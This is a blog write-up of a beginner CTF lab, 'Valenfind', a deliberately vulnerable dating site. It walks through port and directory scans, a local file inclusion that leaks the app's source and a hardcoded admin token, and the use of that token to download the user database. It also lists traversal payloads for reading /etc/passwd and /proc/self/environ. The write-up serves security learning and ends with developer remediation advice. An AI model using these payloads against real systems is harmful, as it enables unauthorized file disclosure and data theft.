Skip to main content

Command Palette

Search for a command to run...

Valenfind - Insecure Data Exposure via Broken Access Control (TryHackMe)

Published
12 min read
Valenfind - Insecure Data Exposure via Broken Access Control  (TryHackMe)
J

Software Developer | Learning Cybersecurity | Open for roles *

If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Valenfind is a dating site Challenge that was part of the Love at First Breach 2026, red team beginner’s CTF. It covers Insecure Data Exposure via broken access control, where the entire database is accessed.

  • CVE Category: CWE-284 (Improper Access Control) + CWE-798 (Hardcoded Credentials)

  • OWASP Top 10: A01:2021 - Broken Access Control

My Dearest Hacker,

There’s this new dating app called “Valenfind” that just popped up out of nowhere. I hear the creator only learned to code this year; surely this must be vibe-coded. Can you exploit it?

You can access it here: http://MACHINE_IP:5000

nmap -p- -sV <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-14 10:59 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.48.153.19
Host is up (0.00014s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
5000/tcp open  upnp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=2/14%Time=699055AC%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,A87,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.1\x20
SF:Python/3\.12\.3\r\nDate:\x20Sat,\x2014\x20Feb\x202026\x2010:59:56\x20GM
SF:T\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:02506\r\nVary:\x20Cookie\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20ht
SF:ml>\n<html\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"
SF:UTF-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width
SF:=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>ValenFi
SF:nd\x20-\x20Secure\x20Dating</title>\n\x20\x20\x20\x20<style>\n\x20\x20\
SF:x20\x20\x20\x20\x20\x20:root\x20{\x20--primary:\x20#ff4757;\x20--second
SF:ary:\x20#ff6b81;\x20--bg:\x20#ffe2e6;\x20--card:\x20#fff;\x20--text:\x2
SF:0#2f3542;\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\x20font-famil
SF:y:\x20'Segoe\x20UI',\x20Tahoma,\x20Geneva,\x20Verdana,\x20sans-serif;\x
SF:20background:\x20var\(--bg\);\x20color:\x20var\(--text\);\x20margin:\x2
SF:00;\x20padding:\x200;\x20min-height:\x20100vh;\x20display:\x20flex;\x20
SF:flex-direction:\x20column;\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\.nav\
SF:x20{\x20background:\x20var\(--primary\);\x20padding:\x201rem\x202rem;\x
SF:20display:\x20flex;\x20justify-content:\x20space-between;\x20align-item
SF:s:\x20center;\x20box-shadow:\x200\x202px\x2010px\x20rgba\(0,0,0,0\.1\);
SF:\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\.nav\x20a\x20{\x20color:\x20whi
SF:te;")%r(RTSPRequest,16C,"<!DOCTYPE\x20HTML>\n<html\x20lang=\"en\">\n\x2
SF:0\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20charset=\
SF:"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20response</ti
SF:tle>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>M
SF:essage:\x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20400\x20-\x2
SF:0Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x2
SF:0\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.14 seconds

gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

Discovered Endpoints:

  • /login (200) - Login page

  • /register (200) - Registration page

  • /dashboard (302) - Redirects to /login (authentication required)

  • /logout (302) - Logout functionality

gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://<IP_Address>:5000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/dashboard            (Status: 302) [Size: 199] [--> /login]
/login                (Status: 200) [Size: 2682]
/logout               (Status: 302) [Size: 189] [--> /]
/register             (Status: 200) [Size: 2694]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================

Web Application Analysis

Navigating to http://MACHINE_IP:5000 reveals a dating application called "Valenfind" with a pink/red Valentine's theme.

Key Observations:

  1. Standard login/registration functionality

  2. User profiles with bios and avatars

  3. "Like" functionality for other users

  4. Multiple user profiles visible (literary characters: Cupid, Dracula, Gatsby, etc.)

Vulnerability Discovery

Initial Exploration with Burp Suite

Pro Tip: Always use Burp Suite's built-in browser for web app testing to capture all HTTP traffic, including AJAX requests and dynamic content loading.

After registering an account and exploring the application, we intercepted traffic to the profile pages. One profile that stood out was the user "cupid" with the bio:

"I keep the database secure. No peeking."

This is a major red flag - why would a regular dating profile mention database security? This is likely a hint from the CTF creator.

Client-Side Code Analysis

Inspecting the JavaScript on the profile page revealed interesting functionality:

// Initial load
document.addEventListener("DOMContentLoaded", function() {
    loadTheme('theme_classic.html');
});

function loadTheme(layoutName) {
    // Feature: Dynamic Layout Fetching
    // Vulnerability: 'layout' parameter allows LFI
    fetch(`/api/fetch_layout?layout=${layoutName}`)
        .then(r => r.text())
        .then(html => {
            const bioText = "I keep the database secure. No peeking.";
            const username = "cupid";
            
            // Client-side rendering of the fetched template
            let rendered = html.replace('__USERNAME__', username)
                               .replace('__BIO__', bioText);
            
            document.getElementById('bio-container').innerHTML = rendered;
        })
        .catch(e => {
            console.error(e);
            document.getElementById('bio-container').innerText = "Error loading theme.";
        });
}

Critical Finding: The developer left a comment explicitly stating:

javascript

// Vulnerability: 'layout' parameter allows LFI

This is a Local File Inclusion (LFI) vulnerability! The /api/fetch_layout endpoint accepts a layout parameter without proper validation.

GET /api/fetch_layout?layout=theme_classic.html HTTP/1.1
Host: <IP_Address>:5000
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Referer: http://<IP_Address>:5000/profile/cupid
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJsaWtlZCI6WzEsOF0sInVzZXJfaWQiOjksInVzZXJuYW1lIjoiYWRtaW4ifQ.aZBZ8w.ZAHOhem-niC60nnIzDu59Ku4ZKo
Connection: keep-alive
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Sat, 14 Feb 2026 11:28:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 10212
Connection: close

import os
import sqlite3
import hashlib
from flask import Flask, render_template, request, redirect, url_for, session, send_file, g, flash, jsonify
from seeder import INITIAL_USERS

app = Flask(__name__)
app.secret_key = os.urandom(24)

ADMIN_API_KEY = "CUPID_MASTER_KEY_2024_XOXO"
DATABASE = 'cupid.db'

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
        db.row_factory = sqlite3.Row
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

def init_db():
    if not os.path.exists(DATABASE):
        with app.app_context():
            db = get_db()
            cursor = db.cursor()
            
            cursor.execute('''
                CREATE TABLE users (
                    id INTEGER PRIMARY KEY AUTOINCREMENT,
                    username TEXT NOT NULL UNIQUE,
                    password TEXT NOT NULL,
                    real_name TEXT,
                    email TEXT,
                    phone_number TEXT,
                    address TEXT,
                    bio TEXT,
                    likes INTEGER DEFAULT 0,
                    avatar_image TEXT
                )
            ''')
            
            cursor.executemany('INSERT INTO users (username, password, real_name, email, phone_number, address, bio, likes, avatar_image) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)', INITIAL_USERS)
            db.commit()
            print("Database initialized successfully.")

@app.template_filter('avatar_color')
def avatar_color(username):
    hash_object = hashlib.md5(username.encode())
    return '#' + hash_object.hexdigest()[:6]

# --- ROUTES ---

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        db = get_db()
        try:
            cursor = db.cursor()
            cursor.execute('INSERT INTO users (username, password, bio, real_name, email, avatar_image) VALUES (?, ?, ?, ?, ?, ?)', 
                       (username, password, "New to ValenFind!", "", "", "default.jpg"))
            db.commit()
            
            user_id = cursor.lastrowid
            session['user_id'] = user_id
            session['username'] = username
            session['liked'] = []
            
            flash("Account created! Please complete your profile.")
            return redirect(url_for('complete_profile'))
            
        except sqlite3.IntegrityError:
            return render_template('register.html', error="Username already taken.")
    return render_template('register.html')

@app.route('/complete_profile', methods=['GET', 'POST'])
def complete_profile():
    if 'user_id' not in session:
        return redirect(url_for('login'))
        
    if request.method == 'POST':
        real_name = request.form['real_name']
        email = request.form['email']
        phone = request.form['phone']
        address = request.form['address']
        bio = request.form['bio']
        
        db = get_db()
        db.execute('''
            UPDATE users 
            SET real_name = ?, email = ?, phone_number = ?, address = ?, bio = ?
            WHERE id = ?
        ''', (real_name, email, phone, address, bio, session['user_id']))
        db.commit()
        
        flash("Profile setup complete! Time to find your match.")
        return redirect(url_for('dashboard'))
        
    return render_template('complete_profile.html')

@app.route('/my_profile', methods=['GET', 'POST'])
def my_profile():
    if 'user_id' not in session:
        return redirect(url_for('login'))
        
    db = get_db()
    
    if request.method == 'POST':
        real_name = request.form['real_name']
        email = request.form['email']
        phone = request.form['phone']
        address = request.form['address']
        bio = request.form['bio']
        
        db.execute('''
            UPDATE users 
            SET real_name = ?, email = ?, phone_number = ?, address = ?, bio = ?
            WHERE id = ?
        ''', (real_name, email, phone, address, bio, session['user_id']))
        db.commit()
        flash("Profile updated successfully! ?")
        return redirect(url_for('my_profile'))
    
    user = db.execute('SELECT * FROM users WHERE id = ?', (session['user_id'],)).fetchone()
    return render_template('edit_profile.html', user=user)

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        db = get_db()
        user = db.execute('SELECT * FROM users WHERE username = ?', (username,)).fetchone()
        
        if user and user['password'] == password:
            session['user_id'] = user['id']
            session['username'] = user['username']
            session['liked'] = [] 
            return redirect(url_for('dashboard'))
        else:
            return render_template('login.html', error="Invalid credentials.")
    return render_template('login.html')

@app.route('/dashboard')
def dashboard():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    
    db = get_db()
    profiles = db.execute('SELECT id, username, likes, bio, avatar_image FROM users WHERE id != ?', (session['user_id'],)).fetchall()
    return render_template('dashboard.html', profiles=profiles, user=session['username'])

@app.route('/profile/<username>')
def profile(username):
    if 'user_id' not in session:
        return redirect(url_for('login'))
        
    db = get_db()
    profile_user = db.execute('SELECT id, username, bio, likes, avatar_image FROM users WHERE username = ?', (username,)).fetchone()
    
    if not profile_user:
        return "User not found", 404
        
    return render_template('profile.html', profile=profile_user)

@app.route('/api/fetch_layout')
def fetch_layout():
    layout_file = request.args.get('layout', 'theme_classic.html')
    
    if 'cupid.db' in layout_file or layout_file.endswith('.db'):
        return "Security Alert: Database file access is strictly prohibited."
    if 'seeder.py' in layout_file:
        return "Security Alert: Configuration file access is strictly prohibited."
    
    try:
        base_dir = os.path.join(os.getcwd(), 'templates', 'components')
        file_path = os.path.join(base_dir, layout_file)
        
        with open(file_path, 'r') as f:
            return f.read()
    except Exception as e:
        return f"Error loading theme layout: {str(e)}"

@app.route('/like/<int:user_id>', methods=['POST'])
def like_user(user_id):
    if 'user_id' not in session:
        return redirect(url_for('login'))
    
    if 'liked' not in session:
        session['liked'] = []
        
    if user_id in session['liked']:
        flash("You already liked this person! Don't be desperate. ?")
        return redirect(request.referrer)

    db = get_db()
    db.execute('UPDATE users SET likes = likes + 1 WHERE id = ?', (user_id,))
    db.commit()
    
    session['liked'].append(user_id)
    session.modified = True
    
    flash("You sent a like! ??")
    return redirect(request.referrer)

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    session.pop('liked', None)
    return redirect(url_for('index'))

@app.route('/api/admin/export_db')
def export_db():
    auth_header = request.headers.get('X-Valentine-Token')
    
    if auth_header == ADMIN_API_KEY:
        try:
            return send_file(DATABASE, as_attachment=True, download_name='valenfind_leak.db')
        except Exception as e:
            return str(e)
    else:
        return jsonify({"error": "Forbidden", "message": "Missing or Invalid Admin Token"}), 403

if __name__ == '__main__':
    if not os.path.exists('templates/components'):
        os.makedirs('templates/components')
    
    with open('templates/components/theme_classic.html', 'w') as f:
        f.write('''
        <div class="bio-box" style="
            background: #ffffff; 
            border: 1px solid #e1e1e1; 
            padding: 20px; 
            border-radius: 12px; 
            box-shadow: 0 4px 6px rgba(0,0,0,0.05); 
            text-align: left;">
            <h3 style="color: #2c3e50; border-bottom: 2px solid #ff4757; padding-bottom: 10px; display: inline-block;">__USERNAME__</h3>
            <p style="color: #7f8c8d; font-style: italic; line-height: 1.6;">"__BIO__"</p>
        </div>
        ''')
        
    with open('templates/components/theme_modern.html', 'w') as f:
        f.write('''
        <div class="bio-box modern" style="
            background: #2f3542; 
            color: #dfe4ea; 
            padding: 25px; 
            border-radius: 15px; 
            border-left: 5px solid #2ed573;
            font-family: 'Courier New', monospace;">
            <h3 style="color: #2ed573; text-transform: uppercase; letter-spacing: 2px; margin-top: 0;">__USERNAME__</h3>
            <p style="line-height: 1.5;">> __BIO__<span style="animation: blink 1s infinite;">_</span></p>
            <style>@keyframes blink { 50% { opacity: 0; } }</style>
        </div>
        ''')

    with open('templates/components/theme_romance.html', 'w') as f:
        f.write('''
        <div class="bio-box romance" style="
            background: linear-gradient(135deg, #ff9a9e 0%, #fecfef 99%, #fecfef 100%); 
            color: #c0392b; 
            padding: 30px; 
            border-radius: 50px 0 50px 0; 
            border: 2px dashed #ff6b81;
            text-align: center;">
            <div style="font-size: 2rem; margin-bottom: 10px;">? ? ?</div>
            <h3 style="font-family: 'Brush Script MT', cursive; font-size: 2.5rem; margin: 10px 0;">__USERNAME__</h3>
            <p style="font-weight: bold; font-size: 1.1rem;">? __BIO__ ?</p>
            <div style="font-size: 1.5rem; margin-top: 15px;">?</div>
        </div>
        ''')

    init_db()
    app.run(debug=False, host='0.0.0.0', port=5000)

We downloaded the entire database that had credentials and the flag. It's interesting how the backend developer "cupid" had mentioned of keeping the site secure and now we end up with this.

HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Sat, 14 Feb 2026 11:32:41 GMT
Content-Disposition: attachment; filename=valenfind_leak.db
Content-Type: application/octet-stream
Content-Length: 16384
Last-Modified: Sat, 14 Feb 2026 11:18:07 GMT
Cache-Control: no-cache
ETag: "1771067887.605021-16384-1700923521"
Date: Sat, 14 Feb 2026 11:32:41 GMT
Connection: close

SQLite format 3@  .v‰
ø
¤
öÍ
¤P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)ƒT‡tableusersusersCREATE TABLE users (
                    id INTEGER PRIMARY KEY AUTOINCREMENT,
                    username TEXT NOT NULL UNIQUE,
                    password TEXT NOT NULL,
                    real_name TEXT,
                    email TEXT,
                    phone_number TEXT,
                    address TEXT,
                    bio TEXT,
                    likes INTEGER DEFAULT 0,
                    avatar_image TEXT
                ))=indexsqlite_autoindex_users_1users
		þ\´
ý
7zÅ
ý
J	þJ	/!#adminadminRose Maryadmin@veron.cupid+1 555 0001234medefault.jpg0)55'c[cupidadmin_root_x99System Administratorcupid@internal.cupid555-0000-ROOTFLAG: THM{v1be_c0ding_1s_n0t_my_cup_0f_t3a}I keep the database secure. No peeking.ècupid.jpgE')%/'Q#count_draculasunlight_sucksVlad Draculavlad@night.walker555-0666-BITEBran Castle, Transylvania, RomaniaI love long walks at night and biting... necks? No, biting into life!šdracula.jpg2+5'Ijane_eyrerochester_blindJane Eyrejane@thornfield.book555-1847-READThornfield Hall, Yorkshire, UKQuiet, independent, and looking for a connection of the soul.!jane.jpg:%#!/'O!gatsby_greatgreen_lightJay Gatsbyjay@westegg.party555-1922-RICHGatsby Mansion, West Egg, NY, USAThrowing parties every weekend hoping you'll walk through the door.igatsby.jpgC!)+9'G%sherlock_hwatson_is_coolSherlock Holmesdetective@baker.street555-221B-KEYS221B Baker Street, London, UKObservant, logical, and looking for a mystery to solve (or a date).sherlock.jpg4+%=-'Kocleopatra_queencaesar_saladCleopatra VII Philopatorqueen@nile.river555-0001-NILERoyal Palace, Alexandria, EgyptI rule an empire, but I can't rule my heart. 🐍Xcleo.jpg%/-5'OO%casanova_officialsecret123Giacomo Casanovaloverboy@venice.kiss555-0155-LOVE101 Grand Canal St, Venice, ItalyJust here for the free chocolate.casanova.jpg!))1)OYromeo_montaguejuliet123Romeo Montagueromeo@verona.cupid555-0100-ROMEO123 Balcony Way, Verona, VR 99999Looking for my Juliet. Where art thou?romeo.jpg
	ppØÄ„z¤–îµ	admin		cupid'count_dracula
jane_eyre%gatsby_great!sherlock_h+cleopatra_queen/casanova_official)	romeo_montague
õõ	users	

Vulnerabilities Exploited

OWASP Top 10 Mappings:

  1. A01:2021 - Broken Access Control

    • Admin endpoint accessible with simple header authentication

    • No rate limiting or additional verification

  2. A03:2021 - Injection

    • Local File Inclusion via layout parameter

    • Path traversal with ../../

  3. A04:2021 - Insecure Design

    • Plaintext password storage

    • Hardcoded secrets in source code

    • Weak blacklist-based input validation

  4. A05:2021 - Security Misconfiguration

    • Debug comments left in production code

    • Detailed error messages revealing internal paths

    • Flask development patterns in production

  5. A07:2021 - Identification and Authentication Failures

    • No password hashing

    • Weak session management

    • Predictable secret key generation


Key Lessons Learned

For Attackers/Pentesters:

  1. Always use Burp Suite for web app testing - it captures requests you might miss

  2. Read client-side JavaScript - developers often leave hints or vulnerabilities

  3. Error messages are goldmines - they reveal internal paths and structure

  4. Follow the breadcrumbs - "I keep the database secure" was a deliberate hint

  5. Source code = game over - LFI to source code often reveals everything

For Developers:

  1. Never hardcode secrets - use environment variables or secret management systems

  2. Use password hashing - bcrypt, argon2, or PBKDF2

  3. Validate AND sanitize input - whitelist approach, not blacklist

  4. Remove debug comments - especially ones that say "Vulnerability:" 😅

  5. Implement proper access controls - authentication + authorization

  6. Disable detailed error messages - use generic messages in production

  7. Never trust user input - even file paths and layout names


Tools Used

  • Nmap - Port scanning and service detection

  • Gobuster - Directory/endpoint enumeration

  • Burp Suite - HTTP traffic interception and analysis

  • curl - Command-line HTTP requests

  • SQLite3 - Database analysis

  • Browser DevTools - JavaScript inspection


Additional Exploitation Paths (Not Required)

Alternative Method 1: Reading System Files

http

GET /api/fetch_layout?layout=../../../../etc/passwd HTTP/1.1

Alternative Method 2: Reading Process Environment

http

GET /api/fetch_layout?layout=../../../../proc/self/environ HTTP/1.1

Alternative Method 3: Session Forgery (Advanced)

Since we have the source code, we could potentially:

  1. Extract the Flask secret key (if it was static)

  2. Use flask-unsign to forge admin sessions

  3. Access protected endpoints without credentials

However, this wasn't necessary since the admin endpoint only required the API key.


Conclusion

This CTF perfectly demonstrates a realistic "beginner developer" security nightmare:

  • Hardcoded secrets

  • Plaintext passwords

  • Insufficient input validation

  • Information disclosure through errors

  • Security through obscurity mentality

The "vibe-coded" narrative adds humor while teaching serious security principles. The flag placement in Cupid's address field - combined with the ironic bio - shows creative CTF design that rewards thorough database analysis.

Final Thought: "Vibe coding is not my cup of tea" - and neither should it be yours! 🎯


References & Further Reading